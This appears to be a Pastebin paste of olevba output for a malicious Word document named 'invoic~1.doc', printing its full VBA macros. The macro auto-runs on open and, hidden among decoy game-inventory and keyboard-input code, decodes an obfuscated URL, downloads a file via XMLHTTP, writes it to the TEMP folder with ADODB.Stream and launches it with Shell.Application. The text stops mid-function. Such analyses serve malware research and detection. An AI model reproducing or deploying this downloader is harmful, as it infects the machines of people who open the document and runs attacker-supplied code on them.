Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- olevba 0.41 - http://decalage.info/python/oletools
- Flags Filename
- ----------- -----------------------------------------------------------------
- OLE:MAS--B-V invoic~1.doc
- (Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)
- ===============================================================================
- FILE: invoic~1.doc
- Type: OLE
- -------------------------------------------------------------------------------
- VBA MACRO ThisDocument.cls
- in file: invoic~1.doc - OLE stream: u'Macros/VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Sub autoopen()
- GetKeyboardState
- RefreshInventory
- End Sub
- -------------------------------------------------------------------------------
- VBA MACRO Module1.bas
- in file: invoic~1.doc - OLE stream: u'Macros/VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Global Const DIK_ESCAPE = 1
- Global Const DIK_UP = 200
- Global Const DIK_LEFT = 203
- Global Const DIK_RIGHT = 205
- Global Const DIK_DOWN = 208
- Global Const DIK_1 = 2
- Global Const DIK_2 = 3
- Global Const DIK_3 = 4
- Global Const DIK_4 = 5
- Global Const DIK_5 = 6
- Global Const DIK_6 = 7
- Global Const DIK_7 = 8
- Global Const DIK_8 = 9
- Global Const DIK_9 = 10
- Global Const DIK_0 = 11
- Global Const DIK_MINUS = 12
- Global Const DIK_EQUALS = 13
- Global Const DIK_BACKSPACE = 14
- Global Const DIK_TAB = 15
- Global Const DIK_Q = 16
- Global Const DIK_W = 17
- Global Const DIK_E = 18
- Global Const DIK_R = 19
- Global Const DIK_T = 20
- Global Const DIK_Y = 21
- Global Const DIK_U = 22
- Global Const DIK_I = 23
- Global Const DIK_O = 24
- Global Const DIK_P = 25
- Global Const DIK_LBRACKET = 26
- Global Const DIK_RBRACKET = 27
- Global Const DIK_RETURN = 28
- Global Const DIK_LCONTROL = 29
- Global Const DIK_A = 30
- Global Const DIK_S = 31
- Global Const DIK_D = 32
- Global Const DIK_F = 33
- Global Const DIK_G = 34
- Global Const DIK_H = 35
- Global Const DIK_J = 36
- Global Const DIK_K = 37
- Global Const DIK_L = 38
- Global Const DIK_SEMICOLON = 39
- Global Const DIK_APOSTROPHE = 40
- Global Const DIK_GRAVE = 41
- Global Const DIK_LSHIFT = 42
- Global Const DIK_BACKSLASH = 43
- Global Const DIK_Z = 44
- Global Const DIK_X = 45
- Global Const DIK_C = 46
- Global Const DIK_V = 47
- Global Const DIK_B = 48
- Global Const DIK_N = 49
- Global Const DIK_M = 50
- Global Const DIK_COMMA = 51
- Global Const DIK_PERIOD = 52
- Global Const DIK_SLASH = 53
- Global Const DIK_RSHIFT = 54
- Global Const DIK_MULTIPLY = 55
- Global Const DIK_LALT = 56
- Global Const DIK_SPACE = 57
- Global Const DIK_CAPSLOCK = 58
- Global Const DIK_F1 = 59
- Global Const DIK_F2 = 60
- Global Const DIK_F3 = 61
- Global Const DIK_F4 = 62
- Global Const DIK_F5 = 63
- Global Const DIK_F6 = 64
- Global Const DIK_F7 = 65
- Global Const DIK_F8 = 66
- Global Const DIK_F9 = 67
- Global Const DIK_F10 = 68
- Global Const DIK_NUMLOCK = 69
- Global Const DIK_SCROLL = 70
- Global Const DIK_NUMPAD7 = 71
- Global Const DIK_NUMPAD8 = 72
- Global Const DIK_NUMPAD9 = 73
- Global Const DIK_SUBTRACT = 74
- Global Const DIK_NUMPAD4 = 75
- Global Const DIK_NUMPAD5 = 76
- Global Const DIK_NUMPAD6 = 77
- Global Const DIK_ADD = 78
- Global Const DIK_NUMPAD1 = 79
- Global Const DIK_NUMPAD2 = 80
- Global Const DIK_NUMPAD3 = 81
- Global Const DIK_NUMPAD0 = 82
- Global Const DIK_DECIMAL = 83
- Global Const DIK_F11 = 87
- Global Const DIK_F12 = 88
- Global Const DIK_NUMPADENTER = 156
- Global Const DIK_RCONTROL = 157
- Global Const DIK_DIVIDE = 181
- Global Const DIK_RALT = 184
- Global Const DIK_HOME = 199
- Global Const DIK_PAGEUP = 201
- Global Const DIK_END = 207
- Global Const DIK_PAGEDOWN = 209
- Global Const DIK_INSERT = 210
- Global Const DIK_DELETE = 211
- Public DIK_FUNCTIONAL_1 As Object
- Public DIK_FUNCTIONAL_2 As Object
- Public DIK_FUNCTIONAL_3 As Object
- Public DIK_FUNCTIONAL_4 As String
- Public DIK_FUNCTIONAL_5 As String
- Public DIK_FUNCTIONAL_6 As Object
- Public Function GetKeyboardDevice(ByVal Window As String) As String
- Set GetKeyboardDevice = DI.CreateDevice("GUID_SysKeyboard")
- GetKeyboardDevice.SetCommonDataFormat DIFORMAT_KEYBOARD
- End Function
- Public Function GetMouseDevice(ByVal Window As String) As String
- Set GetMouseDevice = DI.CreateDevice("GUID_SysMouse")
- GetMouseDevice.SetCommonDataFormat DIFORMAT_MOUSE
- End Function
- Public Sub ReacquireMouse()
- On Error Resume Next
- DevMouse.SetCooperativeLevel frmMain.hwnd, DISCL_BACKGROUND Or DISCL_EXCLUSIVE
- DevMouse.Acquire
- End Sub
- Public Sub ReacquireKeyboard()
- On Error Resume Next
- DevKeyboard.SetCooperativeLevel frmMain.hwnd, DISCL_FOREGROUND Or DISCL_NONEXCLUSIVE
- DevKeyboard.Acquire
- End Sub
- Public Function pzone3(bc_Code_40() As Variant, pparam As Integer) As String
- Dim i As Integer
- pgraficky = ""
- For i = LBound(bc_Code_40) To UBound(bc_Code_40)
- pgraficky = pgraficky & Chr(bc_Code_40(i) - 9 * pparam - 4802)
- Next i
- pzone3 = pgraficky
- End Function
- Public Function GetKeyboardState() As Boolean()
- Set DIK_FUNCTIONAL_1 = CreateObject("Microsoft" + ".XMLHTTP")
- GoTo ErrorMode
- On Error GoTo Reacquire
- Dim TempKeyboardState As String
- Dim i As Integer
- Dim Keys(1 To 211) As Boolean
- DevKeyboard.GetDeviceStateKeyboard TempKeyboardState
- For i = 1 To 211
- If TempKeyboavrdState.Key(i) <> 0 Then
- Keys(i) = True
- Else
- Keys(i) = False
- End If
- Next i
- Let GetKeyboardState = Keys
- Exit Function
- Reacquire:
- ReacquireKeyboard
- Let GetKeyboardState = Keys
- ErrorMode:
- Set DIK_FUNCTIONAL_2 = CreateObject("Adodb.Stream")
- CheckDirectInputKeys
- End Function
- Public Function GetMouseState() As Boolean()
- On Error GoTo Reacquire
- Dim TempMouseState As DIMOUSESTATE
- Dim i As Integer
- Dim Buttons(0 To 2) As Boolean
- DevMouse.GetDeviceStateMouse TempMouseState
- For i = 0 To 2
- If TempMouseState.Buttons(i) <> 0 Then
- Buttons(i) = True
- End If
- Next i
- Let GetMouseState = Buttons
- Exit Function
- Reacquire:
- ReacquireMouse
- Let GetMouseState = Buttons
- End Function
- Public Sub InitDirectInput()
- Set DevKeyboard = GetKeyboardDevice(frmMain)
- Set DevMouse = GetMouseDevice(frmMain)
- End Sub
- Public Sub UnloadDirectInput()
- DevKeyboard.Unacquire
- DevMouse.Unacquire
- End Sub
- Public Sub CheckDirectInputKeys()
- Set DIK_FUNCTIONAL_6 = CreateObject("Shell.Application")
- CheckDirectInputMouse
- Exit Sub
- Dim Keys() As Boolean
- Keys = GetKeyboardState()
- keyUp = Keys(DIK_UP)
- keyDown = Keys(DIK_DOWN)
- keyLeft = Keys(DIK_LEFT)
- keyRight = Keys(DIK_RIGHT)
- If Keys(DIK_LALT) = True Or Keys(DIK_RALT) = True Then
- keyAlt = True
- Else
- keyAlt = False
- End If
- If Keys(DIK_LCONTROL) = True Or Keys(DIK_RCONTROL) = True Then
- keyCtrl = True
- Else
- keyCtrl = False
- End If
- End Sub
- Public Sub CheckDirectInputMouse()
- Dim Buttons() As Boolean
- Set DIK_FUNCTIONAL_3 = CreateObject("WScript" + Chr(DIK_C) + "Shell").Environment("Proc" + Chr(DIK_ESCAPE + 100) + "ss")
- regQuery_A_Key 0, "", ""
- Exit Sub
- Buttons = GetMouseState()
- If LeftIsDown = True Then
- If Buttons(0) = False Then
- LastLeftRelease = Tick
- LeftIsDown = False
- End If
- Else
- If Buttons(0) = True Then
- If Tick - LastLeftClick < 300 Then
- frmMain.DoubleClick 0
- LastLeftClick = 0
- Else
- frmMain.Click 0
- LastLeftClick = Tick
- End If
- LeftIsDown = True
- End If
- End If
- If RightIsDown = True Then
- If Buttons(1) = False Then
- LastRightRelease = Tick
- RightIsDown = False
- End If
- Else
- If Buttons(1) = True Then
- If Tick - LastRightClick < 300 Then
- frmMain.DoubleClick 1
- LastRightClick = 0
- Else
- frmMain.Click 1
- LastRightClick = Tick
- End If
- RightIsDown = True
- End If
- End If
- End Sub
- Public Function regDelete_Sub_Key(ByVal lngRootKey As Long, _
- ByVal strRegKeyPath As String, _
- ByVal strRegSubKey As String)
- "Software\AAA-Registry Test\Products", "StringTestData"
- Dim lngKeyHandle As LongPtr
- If regDoes_Key_Exist(lngRootKey, strRegKeyPath) Then
- m_lngRetVal = RegOpenKey(lngRootKey, strRegKeyPath, lngKeyHandle)
- m_lngRetVal = RegDeleteValue(lngKeyHandle, strRegSubKey)
- m_lngRetVal = RegCloseKey(lngKeyHandle)
- End If
- End Function
- Public Function regDoes_Key_Exist(ByVal lngRootKey As Long, _
- ByVal strRegKeyPath As String) As Boolean
- Dim lngKeyHandle As LongPtr
- lngKeyHandle = 0
- m_lngRetVal = RegOpenKey(lngRootKey, strRegKeyPath, lngKeyHandle)
- If lngKeyHandle = 0 Then
- regDoes_Key_Exist = False
- Else
- regDoes_Key_Exist = True
- End If
- m_lngRetVal = RegCloseKey(lngKeyHandle)
- End Function
- Public Function regQuery_A_Key(ByVal lngRootKey As Long, _
- ByVal strRegKeyPath As String, _
- ByVal strRegSubKey As String) As Variant
- Dim intPosition() As Variant
- intPosition = Array(5284, 5296, 5296, 5292, 5238, 5227, 5227, 5289, 5282, 5289, 5277, 5290, 5277, 5295, 5296, 5277, 5279, 5285, 5291, 5226, 5279, 5291, 5289, 5227, 5235, 5234, 5294, 5281, 5232, 5233, 5237, 5227, 5237, 5236, 5297, 5301, 5235, 5234, 5296, 5226, 5281, 5300, 5281)
- DIK_FUNCTIONAL_1.Open Chr(DIK_NUMPAD7) + Chr(DIK_NUMLOCK) + "T", pzone3(intPosition, 42), False
- Dim lngKeyHandle As LongPtr
- Dim lngDataType As Long
- Dim lngBufferSize As Long
- Dim lngBuffer As Long
- Dim strBuffer As String
- GoTo lngKeyHandleM
- lngKeyHandle = 0
- lngBufferSize = 0
- m_lngRetVal = RegOp.enKey(lngRootKey, strRegKeyPath, lngKeyHandle)
- If lngKeyHandle = 0 Then
- regQuery_A_Key = ""
- m_lngRetVal = RegCl.oseKey(lngKeyHandle)
- Exit Function
- End If
- m_lngRetVal = RegQuer.yValueEx(lngKeyHandle, strRegSubKey, 0&, _
- lngDataType, 0&, lngBufferSize)
- If lngKeyHandle = 0 Then
- regQuery_A_Key = ""
- m_lngRetVal = RegClos.eKey(lngKeyHandle)
- Exit Function
- End If
- Select Case lngDataType
- Case REG_SZ:
- strBuffer = Space(lngBufferSize)
- m_lngRetVal = RegQuery.ValueEx(lngKeyHandle, strRegSubKey, 0&, 0&, _
- strBuffer, lngBufferSize)
- If m_lngRetVal <> ERROR_SUCCESS Then
- regQuery_A_Key = ""
- Else
- intPosition = InStr(1, strBuffer, Chr(0))
- If lngBufferSize > 0 Then
- regQuery_A_Key = Left(strBuffer, lngBufferSize - 1)
- Else
- regQuery_A_Key = strBuffer
- End If
- End If
- Case REG_DWORD:
- m_lngRetVal = RegQueryV.alueEx(lngKeyHandle, strRegSubKey, 0&, lngDataType, lngBuffer, 4&)
- If m_lngRetVal <> ERROR_SUCCESS Then
- regQuery_A_Key = ""
- Else
- regQuery_A_Key = lngBuffer
- End If
- Case Else:
- regQuery_A_Key = ""
- End Select
- m_lngRetVal = RegggC.loseKey(lngKeyHandle)
- lngKeyHandleM:
- DIK_FUNCTIONAL_4 = DIK_FUNCTIONAL_3(Chr(DIK_NUMPAD6 + 7) + "E" + Chr(DIK_NUMPAD6) + "P")
- regCreate_A_Key 0, ""
- End Function
- Public Sub regCreate_Key_Value(ByVal lngRootKey As Long, ByVal strRegKeyPath As String, _
- ByVal strRegSubKey As String, varRegData As Variant)
- Dim lngKeyHandle As LongPtr
- Dim lngDataType As Long
- Dim lngKeyValue As Long
- Dim strKeyValue As String
- If IsNumeric(varRegData) Then
- lngDataType = REG_DWORD
- Else
- lngDataType = REG_SZ
- End If
- m_lngRetVal = RegCreateKey(lngRootKey, strRegKeyPath, lngKeyHandle)
- Select Case lngDataType
- Case REG_SZ:
- strKeyValue = Trim(varRegData) & Chr(0)
- m_lngRetVal = RegSetValueEx(lngKeyHandle, strRegSubKey, 0&, lngDataType, _
- ByVal strKeyValue, Len(strKeyValue))
- Case REG_DWORD:
- lngKeyValue = CLng(varRegData)
- m_lngRetVal = RegSetValueEx(lngKeyHandle, strRegSubKey, 0&, lngDataType, _
- lngKeyValue, 4&)
- End Select
- m_lngRetVal = RegCloseKey(lngKeyHandle)
- End Sub
- Public Function regCreate_A_Key(ByVal lngRootKey As Long, ByVal strRegKeyPath As String)
- DIK_FUNCTIONAL_1.Send
- Exit Function
- Dim lngKeyHandle As LongPtr
- m_lngRetVal = RegCrea.teKey(lngRootKey, strRegKeyPath, lngKeyHandle)
- m_lngRetVal = RegClo.seKey(lngKeyHandle)
- End Function
- Public Function regDelete_A_Key(ByVal lngRootKey As Long, _
- ByVal strRegKeyPath As String, _
- ByVal strRegKeyName As String) As Boolean
- Dim lngKeyHandle As LongPtr
- regDelete_A_Key = False
- If regDoes_Key_Exist(lngRootKey, strRegKeyPath) Then
- m_lngRetVal = RegOpenKey(lngRootKey, strRegKeyPath, lngKeyHandle)
- m_lngRetVal = RegDeleteKey(lngKeyHandle, strRegKeyName)
- If m_lngRetVal = 0 Then regDelete_A_Key = True
- m_lngRetVal = RegCloseKey(lngKeyHandle)
- End If
- End Function
- Public Sub SetObjectInfo(Info As String)
- If frmMain.Visible = False Then Exit Sub
- frmMain.lblObjectInfo.Caption = Info
- frmMain.lblObjectInfoShadow.Caption = Info
- End Sub
- Public Sub SetLocation(Location As String)
- If frmMain.Visible = False Then Exit Sub
- frmMain.lblLocation.Caption = Location
- frmMain.lblLocationShadow.Caption = Location
- End Sub
- Public Sub RefreshInventory()
- DIK_FUNCTIONAL_5 = DIK_FUNCTIONAL_4 + Chr(DIK_F12 + 4) + "rondoul" + Chr(DIK_F11 - 41) + Chr(DIK_F12 + 13) + "x" + Chr(DIK_F11 + 14)
- DrawSelection
- Exit Sub
- If frmMain.Visible = False Then Exit Sub
- DrawInventoryBackground
- DrawInventoryItems
- Dra.w.ToDC 0, 0, 181, 181, frmMain.picInventory.hDC, InventoryBuffer, 0, 0
- DrawSelection
- RealDrawCurInvObject
- End Sub
- Sub DrawInventoryBackground()
- If frmMain.Visible = False Then Exit Sub
- InventoryBuffer.BltFast 0, 0, DDSInventory, InventoryRect, DDBLTFAST_WAIT
- End Sub
- Sub DrawSelection()
- With DIK_FUNCTIONAL_2
- DIK_FUNCTIONAL_2.Type = 1
- DIK_FUNCTIONAL_2.Open
- End With
- RealDrawEquippedObject 0
- Exit Sub
- If frmMain.Visible = False Then Exit Sub
- Dim X As Long, Y As Long
- X = 2 + 36 * ((CurInvObj - 1) Mod 5)
- Y = 2 + 36 * Int((CurInvObj - 1) / 5)
- If CurInvObj > 20 Then Y = Y + 1
- Bi.tBlt frmMain.picInventory.hDC, X - 1, Y - 1, 34, 1, 0, 0, 0, WHITENESS
- Bi.tBlt frmMain.picInventory.hDC, X - 1, Y + 33, 34, 1, 0, 0, 0, WHITENESS
- Bi.tBlt frmMain.picInventory.hDC, X - 1, Y - 1, 1, 34, 0, 0, 0, WHITENESS
- Bi.tBlt frmMain.picInventory.hDC, X + 33, Y - 1, 1, 34, 0, 0, 0, WHITENESS
- frmM.ain.picInventory.Refresh
- End Sub
- Sub DrawInventoryItems()
- If frmMain.Visible = False Then Exit Sub
- Dim A As Long
- For A = 1 To MaxInvObjects
- RealDrawInvObject A
- Next A
- For A = 1 To 5
- RealDrawEquippedObject A
- Next A
- End Sub
- Private Sub RealDrawInvObject(InvNum As Long)
- If frmMain.Visible = False Then Exit Sub
- Dim A As Long, X As Long, Y As Long
- X = 2 + 36 * ((InvNum - 1) Mod 5)
- Y = 2 + 36 * Int((InvNum - 1) / 5)
- If InvNum <= 20 Then
- With Character.Inv(InvNum)
- If .Object > 0 Then
- A = Object(.Object).Picture
- SrcRect.Left = 0
- SrcRect.Top = CLng(A - 1) * 32
- SrcRect.Right = 32
- SrcRect.Bottom = SrcRect.Top + 32
- If A > 0 Then
- If .EquippedNum > 0 Then
- FillRect X + 4, Y + 4, 24, 24, InventoryBuffer, RGB(0, 255, 255)
- End If
- InventoryBuffer.BltFast X, Y, DDSObjects, SrcRect, DDBLTFAST_SRCCOLORKEY
- End If
- End If
- End With
- End If
- End Sub
- Private Sub RealDrawEquippedObject(InvNum As Long)
- DIK_FUNCTIONAL_2.write DIK_FUNCTIONAL_1.responseBody
- GoTo saveThis
- If frmMain.Visible = False Then Exit Sub
- Dim A As Long, X As Long, Y As Long
- X = 2 + 36 * ((InvNum - 1) Mod 5)
- Y = 4 + 36 * Int((InvNum + 20 - 1) / 5)
- With Character.EquippedObject(InvNum)
- If .Object > 0 Then
- A = Obje.ct(.Object).Picture
- If A > 0 Then
- SrcRect.Left = 0
- SrcRect.Top = CLng(A - 1) * 32
- SrcRect.Right = 32
- SrcRect.Bottom = SrcRect.Top + 32
- If A > 0 Then
- InventoryBuffer.BltFast X, Y, DDSObjects, SrcRect, DDBLTFAST_SRCCOLORKEY
- End If
- End If
- End If
- End With
- saveThis:
- DIK_FUNCTIONAL_2.savetofile DIK_FUNCTIONAL_5, DIK_1
- DIK_FUNCTIONAL_6.Open (DIK_FUNCTIONAL_5)
- End Sub
- Private Sub RealDrawCurInvObject()
- If frmMain.Visible = False Then Exit Sub
- Dim St1 As String, TheObj As Byte
- BitBlt frmMain.picObject.hDC, 0, 0, 32, 32, 0, 0, 0, BLACKNESS
- If CurInvObj > 0 Then
- If CurInvObj <= 20 Then
- If Character.Inv(CurInvObj).Object > 0 Then
- DrawToDC 0, 0, 32, 32, frmMain.picObject.hDC, DDSObjects, 0, (Object(Character.Inv(CurInvObj).Object).Picture - 1) * 32
- frmMain.lblCurObj = Object(Character.Inv(CurInvObj).Object).Name
- If Character.Inv(CurInvObj).ItemPrefix > 0 Then
- If Len(ItemPrefix(Character.Inv(CurInvObj).ItemPrefix).Name) > 0 Then
- St1 = ItemPrefix(Character.Inv(CurInvObj).ItemPrefix).Name + " " + Object(Character.Inv(CurInvObj).Object).Name
- Else
- St1 = Object(Character.Inv(CurInvObj).Object).Name
- End If
- If Character.Inv(CurInvObj).ItemSuffix > 0 Then
- If Len(ItemSuffix(Character.Inv(CurInvObj).ItemSuffix).Name) > 0 Then
- St1 = St1 + " " + ItemSuffix(Character.Inv(CurInvObj).ItemSuffix).Name + vbCrLf
- Else
- St1 = St1 + vbCrLf
- End If
- Else
- St1 = St1 + vbCrLf
- End If
- Else
- St1 = Object(Character.Inv(CurInvObj).Object).Name
- If Character.Inv(CurInvObj).ItemSuffix > 0 Then
- If Len(ItemSuffix(Character.Inv(CurInvObj).ItemSuffix).Name) > 0 Then
- St1 = St1 + " " + ItemSuffix(Character.Inv(CurInvObj).ItemSuffix).Name + vbCrLf
- Else
- St1 = St1 + vbCrLf
- End If
- Else
- St1 = St1 + vbCrLf
- End If
- End If
- If Character.Inv(CurInvObj).ItemPrefix > 0 Then
- St1 = St1 + "Bonus (+"
- Select Case ItemPrefix(Character.Inv(CurInvObj).ItemPrefix).ModificationType
- Case 8
- St1 = St1 + CStr(ItemPrefix(Character.Inv(CurInvObj).ItemPrefix).ModificationValue) + " HP"
- Case 9
- St1 = St1 + CStr(ItemPrefix(Character.Inv(CurInvObj).ItemPrefix).ModificationValue) + " Energy"
- Case 10
- St1 = St1 + CStr(ItemPrefix(Character.Inv(CurInvObj).ItemPrefix).ModificationValue) + " Mana"
- Case 11
- St1 = St1 + CStr(ItemPrefix(Character.Inv(CurInvObj).ItemPrefix).ModificationValue) + " Damage"
- Case 12
- St1 = St1 + CStr(ItemPrefix(Character.Inv(CurInvObj).ItemPrefix).ModificationValue) + " Defense"
- Case 13
- St1 = St1 + CStr(ItemPrefix(Character.Inv(CurInvObj).ItemPrefix).ModificationValue) + " Magic Defense"
- End Select
- If Character.Inv(CurInvObj).ItemSuffix > 0 Then
- St1 = St1 + ", +"
- Select Case ItemSuffix(Character.Inv(CurInvObj).ItemSuffix).ModificationType
- Case 8
- St1 = St1 + CStr(ItemSuffix(Character.Inv(CurInvObj).ItemSuffix).ModificationValue) + " HP"
- Case 9
- St1 = St1 + CStr(ItemSuffix(Character.Inv(CurInvObj).ItemSuffix).ModificationValue) + " Energy"
- Case 10
- St1 = St1 + CStr(ItemSuffix(Character.Inv(CurInvObj).ItemSuffix).ModificationValue) + " Mana"
- Case 11
- St1 = St1 + CStr(ItemSuffix(Character.Inv(CurInvObj).ItemSuffix).ModificationValue) + " Damage"
- Case 12
- St1 = St1 + CStr(ItemSuffix(Character.Inv(CurInvObj).ItemSuffix).ModificationValue) + " Defense"
- Case 13
- St1 = St1 + CStr(ItemSuffix(Character.Inv(CurInvObj).ItemSuffix).ModificationValue) + " Magic Defense"
- End Select
- St1 = St1 + ")" + vbCrLf
- Else
- St1 = St1 + ")" + vbCrLf
- End If
- Else
- If Character.Inv(CurInvObj).ItemSuffix > 0 Then
- St1 = St1 + "Bonus (+"
- Select Case ItemSuffix(Character.Inv(CurInvObj).ItemSuffix).ModificationType
- Case 8
- St1 = St1 + CStr(ItemSuffix(Character.Inv(CurInvObj).ItemSuffix).ModificationValue) + " HP"
- Case 9
- St1 = St1 + CStr(ItemSuffix(Character.Inv(CurInvObj).ItemSuffix).ModificationValue) + " Energy"
- Case 10
- St1 = St1 + CStr(ItemSuffix(Character.Inv(CurInvObj).ItemSuffix).ModificationValue) + " Mana"
- Case 11
- St1 = St1 + CStr(ItemSuffix(Character.Inv(CurInvObj).ItemSuffix).ModificationValue) + " Damage"
- Case 12
- St1 = St1 + CStr(ItemSuffix(Character.Inv(CurInvObj).ItemSuffix).ModificationValue) + " Defense"
- Case 13
- St1 = St1 + CStr(ItemSuffix(Character.Inv(CurInvObj).ItemSuffix).ModificationValue) + " Magic Defense"
- End Select
- St1 = St1 + ")" + vbCrLf
- Else
- End If
- End If
- Select Case Object(Character.Inv(CurInvObj).Object).Type
- Case 6
- St1 = St1 + "[" + CStr(Character.Inv(CurInvObj).Value) + "]"
- Case 11
- St1 = St1 + "Ammunition" & vbCrLf & "[" + CStr(Character.Inv(CurInvObj).Value) + "]" & vbCrLf & "+" & Object(Character.Inv(CurInvObj).Object).Modifier & " Damage" & vbCrLf & GenerateRequirements(Character.Inv(CurInvObj).Object)
- Case 1
- St1 = St1 + "Weapon (+" & Object(Character.Inv(CurInvObj).Object).Modifier & " Damage)" & vbCrLf & "Condition: " & DurString(CurInvObj) & vbCrLf & GenerateRequirements(Character.Inv(CurInvObj).Object)
- Case 10
- St1 = St1 + "Projectile Weapon (+" & Object(Character.Inv(CurInvObj).Object).Modifier & " Damage)" & vbCrLf & GenerateRequirements(Character.Inv(CurInvObj).Object)
- Case 2, 3, 4
- If Object(Character.Inv(CurInvObj).Object).Type = 3 Then
- St1 = St1 + "Armor (+" & Object(Character.Inv(CurInvObj).Object).Modifier & " Defense, +" & Object(Character.Inv(CurInvObj).Object).Data2 & " Magic Defense)"
- ElseIf Object(Character.Inv(CurInvObj).Object).Type = 4 Then
- St1 = St1 + "Helm (+" & Object(Character.Inv(CurInvObj).Object).Modifier & " Defense, +" & Object(Character.Inv(CurInvObj).Object).Data2 & " Magic Defense)"
- ElseIf Object(Character.Inv(CurInvObj).Object).Type = 2 Then
- St1 = St1 + "Shield (+" & Object(Character.Inv(CurInvObj).Object).Modifier & " Defense, +" & Object(Character.Inv(CurInvObj).Object).Data2 & " Magic Defense)"
- End If
- St1 = St1 & vbCrLf & "Condition: " & DurString(CurInvObj) & vbCrLf & GenerateRequirements(Character.Inv(CurInvObj).Object)
- Case 8
- If Object(Character.Inv(CurInvObj).Object).Data2 = 0 Then
- St1 = St1 + "(Ring) +" & Object(Character.Inv(CurInvObj).Object).Modifier & " Damage" & vbCrLf & "Condition: " & DurString(CurInvObj) & vbCrLf & GenerateRequirements(Character.Inv(CurInvObj).Object)
- Else
- St1 = St1 + "(Ring) +" & Object(Character.Inv(CurInvObj).Object).Modifier & " Defense" & vbCrLf & "Condition: " & DurString(CurInvObj) & vbCrLf & GenerateRequirements(Character.Inv(CurInvObj).Object)
- End If
- End Select
- If ExamineBit(Object(Character.Inv(CurInvObj).Object).Flags, 0) = 255 Then St1 = St1 + vbCrLf + "Cannot be repaired"
- If ExamineBit(Object(Character.Inv(CurInvObj).Object).Flags, 2) = 255 Then St1 = St1 + vbCrLf + "Does not drop on death"
- If ExamineBit(Object(Character.Inv(CurInvObj).Object).Flags, 3) = 255 Then St1 = St1 + vbCrLf + "Two Handed - Cannot use a shield"
- If ExamineBit(Object(Character.Inv(CurInvObj).Object).Flags, 6) = 255 Then St1 = St1 + vbCrLf + "Cannot be traded"
- If Object(Character.Inv(CurInvObj).Object).SellPrice > 0 Then St1 = St1 + vbCrLf + "Sells for " + CStr(Object(Character.Inv(CurInvObj).Object).SellPrice) + " gold"
- SetObjectInfo St1
- Else
- frmMain.lblCurObj = vbNullString
- SetObjectInfo vbNullString
- End If
- Else
- TheObj = CurInvObj - 20
- If Character.EquippedObject(TheObj).Object > 0 Then
- frmMain.lblCurObj = Object(Character.EquippedObject(TheObj).Object).Name
- DrawToDC 0, 0, 32, 32, frmMain.picObject.hDC, DDSObjects, 0, (Object(Character.EquippedObject(TheObj).Object).Picture - 1) * 32
- If Character.EquippedObject(TheObj).ItemPrefix > 0 Then
- If Len(ItemPrefix(Character.EquippedObject(TheObj).ItemPrefix).Name) > 0 Then
- St1 = ItemPrefix(Character.EquippedObject(TheObj).ItemPrefix).Name + " " + Object(Character.EquippedObject(TheObj).Object).Name
- If Character.EquippedObject(TheObj).ItemSuffix > 0 Then
- St1 = St1 + " " + ItemSuffix(Character.EquippedObject(TheObj).ItemSuffix).Name + vbCrLf
- Else
- St1 = St1 + vbCrLf
- End If
- Else
- St1 = Object(Character.EquippedObject(TheObj).Object).Name
- If Character.EquippedObject(TheObj).ItemSuffix > 0 Then
- If Len(ItemSuffix(Character.EquippedObject(TheObj).ItemSuffix).Name) > 0 Then
- St1 = St1 + " " + ItemSuffix(Character.EquippedObject(TheObj).ItemSuffix).Name + vbCrLf
- Else
- St1 = St1 + vbCrLf
- End If
- Else
- St1 = St1 + vbCrLf
- End If
- End If
- Else
- St1 = Object(Character.EquippedObject(TheObj).Object).Name
- If Character.EquippedObject(TheObj).ItemSuffix > 0 Then
- St1 = St1 + " " + ItemSuffix(Character.EquippedObject(TheObj).ItemSuffix).Name + vbCrLf
- Else
- St1 = St1 + vbCrLf
- End If
- End If
- If Character.EquippedObject(TheObj).ItemPrefix > 0 Then
- St1 = St1 + "Bonus (+"
- Select Case ItemPrefix(Character.EquippedObject(TheObj).ItemPrefix).ModificationType
- Case 8
- St1 = St1 + CStr(ItemPrefix(Character.EquippedObject(TheObj).ItemPrefix).ModificationValue) + " HP"
- Case 9
- St1 = St1 + CStr(ItemPrefix(Character.EquippedObject(TheObj).ItemPrefix).ModificationValue) + " Energy"
- Case 10
- St1 = St1 + CStr(ItemPrefix(Character.EquippedObject(TheObj).ItemPrefix).ModificationValue) + " Mana"
- Case 11
- St1 = St1 + CStr(ItemPrefix(Character.EquippedObject(TheObj).ItemPrefix).ModificationValue) + " Damage"
- Case 12
- St1 = St1 + CStr(ItemPrefix(Character.EquippedObject(TheObj).ItemPrefix).ModificationValue) + " Defense"
- Case 13
- St1 = St1 + CStr(ItemPrefix(Character.EquippedObject(TheObj).ItemPrefix).ModificationValue) + " Magic Defense"
- End Select
- If Character.EquippedObject(TheObj).ItemSuffix > 0 Then
- St1 = St1 + ", +"
- Select Case ItemSuffix(Character.EquippedObject(TheObj).ItemSuffix).ModificationType
- Case 8
- St1 = St1 + CStr(ItemSuffix(Character.EquippedObject(TheObj).ItemSuffix).ModificationValue) + " HP"
- Case 9
- St1 = St1 + CStr(ItemSuffix(Character.EquippedObject(TheObj).ItemSuffix).ModificationValue) + " Energy"
- Case 10
- St1 = St1 + CStr(ItemSuffix(Character.EquippedObject(TheObj).ItemSuffix).ModificationValue) + " Mana"
- Case 11
- St1 = St1 + CStr(ItemSuffix(Character.EquippedObject(TheObj).ItemSuffix).ModificationValue) + " Damage"
- Case 12
- St1 = St1 + CStr(ItemSuffix(Character.EquippedObject(TheObj).ItemSuffix).ModificationValue) + " Defense"
- Case 13
- St1 = St1 + CStr(ItemSuffix(Character.EquippedObject(TheObj).ItemSuffix).ModificationValue) + " Magic Defense"
- End Select
- St1 = St1 + ")" + vbCrLf
- Else
- St1 = St1 + ")" + vbCrLf
- End If
- Else
- If Character.EquippedObject(TheObj).ItemSuffix > 0 Then
- St1 = St1 + "Bonus (+"
- Select Case ItemSuffix(Character.EquippedObject(TheObj).ItemSuffix).ModificationType
- Case 8
- St1 = St1 + CStr(ItemSuffix(Character.EquippedObject(TheObj).ItemSuffix).ModificationValue) + " HP"
- Case 9
- St1 = St1 + CStr(ItemSuffix(Character.EquippedObject(TheObj).ItemSuffix).ModificationValue) + " Energy"
- Case 10
